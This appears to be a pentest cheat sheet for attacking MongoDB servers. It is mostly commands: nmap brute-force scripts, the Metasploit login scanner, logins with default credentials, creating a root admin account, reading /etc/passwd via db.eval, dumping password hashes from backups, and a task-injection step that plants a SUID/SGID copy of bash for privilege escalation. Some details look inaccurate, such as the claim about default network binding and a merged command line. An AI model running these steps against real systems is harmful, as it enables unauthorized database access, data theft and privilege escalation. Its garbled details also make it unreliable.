# MongoDB

#### 1) Run nmap

Brute-force attack

```
nmap -sV --script mongodb-brute -n -p 27017 <IP>
```

Enumeration

```
nmap -sV --script "mongo* and default" -p 27017 <IP>
```

#### 2) Metasploit MongoDB Login Scanner

```
use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS <target_ip>
set RPORT 27017
run
```

#### 3) Manual Interaction via PyMongo

```
from pymongo import MongoClient
client = MongoClient('host', 27017, username='username',
password='password')
client.server_info() # Retrieve basic server info
admin = client.admin #If we have admin creds available
admin_info = admin.command("serverStatus")

# List databases
cursor = client.list_databases()
for db in cursor:
print(db)
print(client[db["name"]].list_collection_names())
```

#### 4) MongoDB commands

```
show dbs # List databases
use <db> # Switch to the desired database
show collections # List collections in the selected database
db.<collection>.find() # Dump the contents of a collection
db.<collection>.count() # Get the number of records in the collection
db.current.find({"username":"admin"}) # Search for a specific user
```

#### 5) MongoDB Login methods

Basic MongoDB login without specifying a database:

```
mongo <HOST>
```

Specify both host and port:

```
mongo <HOST>:<PORT>
```

Specify a particular database:

```
mongo <HOST>:<PORT>/<DB>
```

Login with a username and password:

```
mongo <database> -u <username> -p '<password>'
```

If no credentials are required, you’ll gain access to the instance. However, if authentication is enabled, you’ll need valid credentials

#### 6) Manual Inspection

Configuration file: mongo.db

Bitnami MongoDB setup

```
/opt/bitnami/mongodb/mongodb.conf
```

Check if authentication is not required (noauth enabled). If true, then MongoDB is running without authentication.

```
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#"
```

Connect to MongoDB without authentication

```
mongo <TARGET_IP>:27017
```

#### 7) Default Admin Users

Attackers who gain access to a user-level MongoDB account can escalate their privileges by logging in as the admin user if authentication isn’t properly configured.

Identify the Admin Database

```
show dbs
```

Switch to admin database and check if a user exists

```
use admin show users
```

Login with default or weak credentials

```
mongo admin -u admin -p 'password' --host <TARGET_IP>:27017
```

#### 8) Misconfigured Role-Based Access Control (RBAC)

MongoDB uses Role-Based Access Control (RBAC) to define what actions users can perform. Sometimes, roles are misconfigured, allowing users with limited roles to gain access to privileged operations.

Enumerate User Roles

```
db.runCommand({ connectionStatus: 1 })
```

Misconfigured privileges:

```
dbAdmin
readWrite
```

Sensitive database: admin

Example: Create a new admin account

```
db.createUser({
user: "newAdmin",
pwd: "secure_password",
roles: [ { role: "root", db: "admin" } ]
})
```

#### 9) File System Access via MongoDB

MongoDB allows you to store files and binary data using the GridFS system. If the attacker gains dbOwner or dbAdmin privileges, they can exploit MongoDB to read or write files directly to the underlying system.

Privileges:

```
dbOwner
dbAdmin
```

Write a file to the system

```
db.eval("var file = new File('/path/to/target/file.txt', 'w'); file.write('malicious content'); file.close();")
```

Read files from the system

```
db.eval("var file = cat('/etc/passwd'); print(file);")
```

#### 10) Insecure Bindings

By default, MongoDB listens on all available network interfaces, which can expose the database to the public internet. If attackers can gain access to an exposed MongoDB API, they may escalate privileges through misconfigured network settings.

Identify the Binding IP (Check if MongoDB is open to the public internet)

```
db.adminCommand({getCmdLineOpts: 1}).parsed.net.bindIp
```

If yes, connect remotely as admin

```
mongo <TARGET_IP>:27017/admin -u admin -p 'admin_password'
```

#### 11) Misconfigured backup systems

MongoDB databases are often backed up regularly. If these backups are exposed to unauthorized users or misconfigured, an attacker can gain access to sensitive data or credentials stored in these backups.

Access backup directories

```
mongorestore --host localhost --port 27017 --db admin /path/to/backup
```

Extract Admin credentials from backup

```
use admin
db.system.users.find()
```

### 12) Execute commands

## Requirements: An application that uses the database runs as the owner we want to escalate

## Steps:

#### 1)

```
mongo -p -u USER DATABASE
```

#### 2) Copies the bash binary and gives ownership and SGID set with the context of the user that the database is running

```
db.tasks.insert({"cmd":"/bin/cp /bin/bash /tmp/bash; /bin/chown tom:admin /tmp/bash; chmod g+s /tmp/bash; chmod u+s /tmp/bash"}); 
```
